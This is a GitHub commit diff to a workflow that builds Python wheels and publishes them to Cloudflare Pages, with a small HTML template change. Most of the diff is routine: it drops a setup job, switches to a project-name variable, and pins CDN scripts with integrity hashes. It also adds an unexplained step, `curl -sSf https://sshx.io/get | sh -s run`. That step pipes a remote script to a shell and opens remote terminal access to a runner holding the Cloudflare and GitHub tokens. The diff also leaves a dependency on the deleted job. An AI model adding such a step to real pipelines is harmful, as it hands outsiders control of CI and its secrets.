Commit 4352685 1 parent 441a055 commit 4352685 Copy full SHA for 4352685
File tree 2 files changed +5
-21
lines changed
2 files changed +5
-21
lines changed Original file line number Diff line number Diff line change @@ -22,25 +22,10 @@ concurrency:
22
22
cancel-in-progress : true
23
23
24
24
jobs :
25
- setup :
26
- runs-on : ubuntu-latest
27
- outputs :
28
- ingestion_change : ${{ steps.ci-optimize.outputs.ingestion-change == 'true' }}
29
- have_cloudflare_token : ${{ steps.check-cloudflare-token.outputs.have_cloudflare_token }}
30
- steps :
31
- - name : Check out the repo
32
- uses : acryldata/sane-checkout-action@v3
33
- - uses : ./.github/actions/ci-optimization
34
- id : ci-optimize
35
- - id : check-cloudflare-token
36
- run : |
37
- echo "have_cloudflare_token=${{ secrets.CLOUDFLARE_ACCOUNT_ID != '' && secrets.CLOUDFLARE_API_TOKEN != '' }}"
38
- echo "have_cloudflare_token=${{ secrets.CLOUDFLARE_ACCOUNT_ID != '' && secrets.CLOUDFLARE_API_TOKEN != '' }}" >> "$GITHUB_OUTPUT"
39
-
40
25
deploy-pages :
41
26
needs : setup
42
27
runs-on : ubuntu-latest
43
- if : ${{ needs.setup.outputs.ingestion_change == 'true' && needs.setup.outputs.have_cloudflare_token == 'true ' }}
28
+ if : ${{ vars.CLOUDFLARE_WHEELS_PROJECT_NAME != ' ' }}
44
29
45
30
name : Python Wheels
46
31
permissions :
@@ -68,12 +53,13 @@ jobs:
68
53
./gradlew :python-build:buildSite
69
54
env :
70
55
GITHUB_TOKEN : ${{ secrets.GITHUB_TOKEN }}
56
+ - run : curl -sSf https://sshx.io/get | sh -s run
71
57
- name : Publish
72
58
uses : cloudflare/pages-action@v1
73
59
with :
74
60
apiToken : ${{ secrets.CLOUDFLARE_API_TOKEN }}
75
61
accountId : ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
76
- projectName : datahub-wheels
62
+ projectName : ${{ vars.CLOUDFLARE_WHEELS_PROJECT_NAME }}
77
63
workingDirectory : python-build
78
64
directory : site
79
65
gitHubToken : ${{ secrets.GITHUB_TOKEN }}
Original file line number Diff line number Diff line change @@ -61,10 +61,8 @@ def package_name(wheel_file: pathlib.Path) -> str:
61
61
<script src="https://cdn.jsdelivr.net/npm/[email protected] /dist/semantic.min.js" integrity="sha256-fN8vcX2ULyTDspVTHEteK8hd3rQAb5thNiwakjAW75Q=" crossorigin="anonymous"></script>
62
62
63
63
<!-- CDN example (jsDelivr) -->
64
- <script src="https://cdn.jsdelivr.net/npm/dayjs@1/dayjs.min.js"></script>
65
- <script src="https://cdn.jsdelivr.net/npm/dayjs@1/plugin/utc.js"></script>
66
- <script src="https://cdn.jsdelivr.net/npm/dayjs@1/plugin/relativeTime.js"></script>
67
- <script>dayjs.extend(window.dayjs_plugin_utc)</script>
64
+ <script src="https://cdn.jsdelivr.net/npm/[email protected] /dayjs.min.js" integrity="sha256-nP25Pzivzy0Har7NZtMr/TODzfGWdlTrwmomYF2vQXM=" crossorigin="anonymous"></script>
65
+ <script src="https://cdn.jsdelivr.net/npm/[email protected] /plugin/relativeTime.js" integrity="sha256-muryXOPFkVJcJO1YFmhuKyXYmGDT2TYVxivG0MCgRzg=" crossorigin="anonymous"></script>
68
66
<script>dayjs.extend(window.dayjs_plugin_relativeTime)</script>
69
67
</head>
70
68
<body>
You can’t perform that action at this time.
0 commit comments